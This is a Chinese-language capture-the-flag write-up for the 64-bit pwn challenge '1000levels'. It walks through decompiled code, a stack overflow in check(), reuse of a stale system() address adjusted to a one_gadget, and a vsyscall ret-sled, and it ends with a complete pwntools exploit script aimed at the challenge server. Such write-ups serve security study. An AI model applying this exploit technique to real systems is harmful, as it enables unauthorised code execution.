1000levels
1000levels-vsyscall
题目是一个64位的程序 具体保护如下
程序主要分为两部分,分别为go部分和hint部分。
首先先看简单的hint部分
int hint()
{
signed __int64 v1; // [rsp+8h] [rbp-108h]
int v2; // [rsp+10h] [rbp-100h]
__int16 v3; // [rsp+14h] [rbp-FCh]
if ( unk_55999F93708C )
{
sprintf((char *)&v1, "Hint: %p\n", &system, &system);
}
else
{
v1 = 'N NWP ON';
v2 = 'UF O';
v3 = 'N';
}
return puts((const char *)&v1);
}
当unk_55999F93708C有值的时候会打印出system的地址。
继续看go函数的部分
int go()
{
int v1; // ST0C_4
__int64 v2; // [rsp+0h] [rbp-120h]
__int64 v3; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 v5; // [rsp+10h] [rbp-110h]
signed __int64 v6; // [rsp+10h] [rbp-110h]
signed __int64 level; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]
puts("How many levels?");
v2 = read_count();
if ( v2 > 0 )
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = read_count();
v6 = v5 + v3;
if ( v6 > 0 )
{
if ( v6 <= 99 )
{
level = v6;
}
else
{
puts("You are being a real man.");
level = 0x64LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)check(level) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", level, (unsigned int)(v1 - v4), v3);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}
_BOOL8 __fastcall check(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)check(a1 - 1) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL); // 栈溢出
v3 = strtol((const char *)&buf, 0LL, 10);
return v3 == v8;
}
其中check函数发现了栈溢出,但是程序开启了PIE保护,无法构造ROP链。但是仔细观察hint部分
text:000055999F735D06 push rbp
.text:000055999F735D07 mov rbp, rsp
.text:000055999F735D0A sub rsp, 110h
.text:000055999F735D11 mov rax, cs:system_ptr
.text:000055999F735D18 mov [rbp+var_110], rax
.text:000055999F735D1F lea rax, unk_55999F93708C
.text:000055999F735D26 mov eax, [rax]
.text:000055999F735D28 test eax, eax
.text:000055999F735D2A jz short loc_55999F735D57
.text:000055999F735D2C mov rax, [rbp+var_110]
.text:000055999F735D33 lea rdx, [rbp+var_110]
.text:000055999F735D3A lea rcx, [rdx+8]
.text:000055999F735D3E mov rdx, rax
.text:000055999F735D41 lea rsi, aHintP ; "Hint: %p\n"
.text:000055999F735D48 mov rdi, rcx ; s
.text:000055999F735D4B mov eax, 0
.text:000055999F735D50 call _sprintf
.text:000055999F735D55 jmp short loc_55999F735D7C
他首先会将system地址给[rbp-0x110]处,go函数的v5也在[rbp-110],且输入的第一个数值如果小于0,那么v5即[rbp-0x110]便不会赋值,因此我们成功将system的地址写在栈中,之后我们还可以输入第二个数值 对[rbp-0x110]的值进行加减,使其变成one_gadget。要执行到one_gadget,就需要利用vsyscall.
关于vsyscall
vsyscall是第一种也是最古老的一种用于加快系统调用的机制,工作原理十分简单,许多硬件上的操作都会被包装成内核函数,然后提供一个接口,供用户层代码调用,这个接口就是我们常用的int 0x80和syscall+调用号。
当通过这个接口来调用时,由于需要进入到内核去处理,因此为了保证数据的完整性,需要在进入内核之前把寄存器的状态保存好,然后进入到内核状态运行内核函数,当内核函数执行完的时候会将返回结果放到相应的寄存器和内存中,然后再对寄存器进行恢复,转换到用户层模式。
这一过程需要消耗一定的性能,对于某些经常被调用的系统函数来说,肯定会造成很大的内存浪费,因此,系统把几个常用的内核调用从内核中映射到用户层空间中,从而引入了vsyscall。
因此vsycall地址是不变的,不受PIE影响,我们可以利用其对栈进行填充
从栈中可以得知,溢出后我们需要填充3个vsyscall,才能执行到onegadget,最后payload如下
from pwn import *
context.log_level='debug'
#p=process("./100levels")
p=remote('111.198.29.45','35343')
p.recvuntil("Choice:\n")
p.sendline('2')
p.recvuntil('Choice:\n')
p.sendline('1')
p.recvuntil('How many levels?\n')
p.sendline('0')
p.recvuntil('Any more?\n')
offset=0x4526a-0x45390
p.sendline(str(offset))
for i in range (99):
p.recvuntil('Question: ')
a=p.recvuntil(' ')
a=a[:-1]
a=int(a,10)
p.recvuntil('* ')
b=p.recvuntil(' ')
b=b[:-1]
b=int(b,10)
p.recvuntil('Answer:')
p.sendline(str(a*b))
p.recvuntil('Answer:')
payload='a'*56+p64(0xffffffffff600000)*3
p.send(payload)
p.interactive()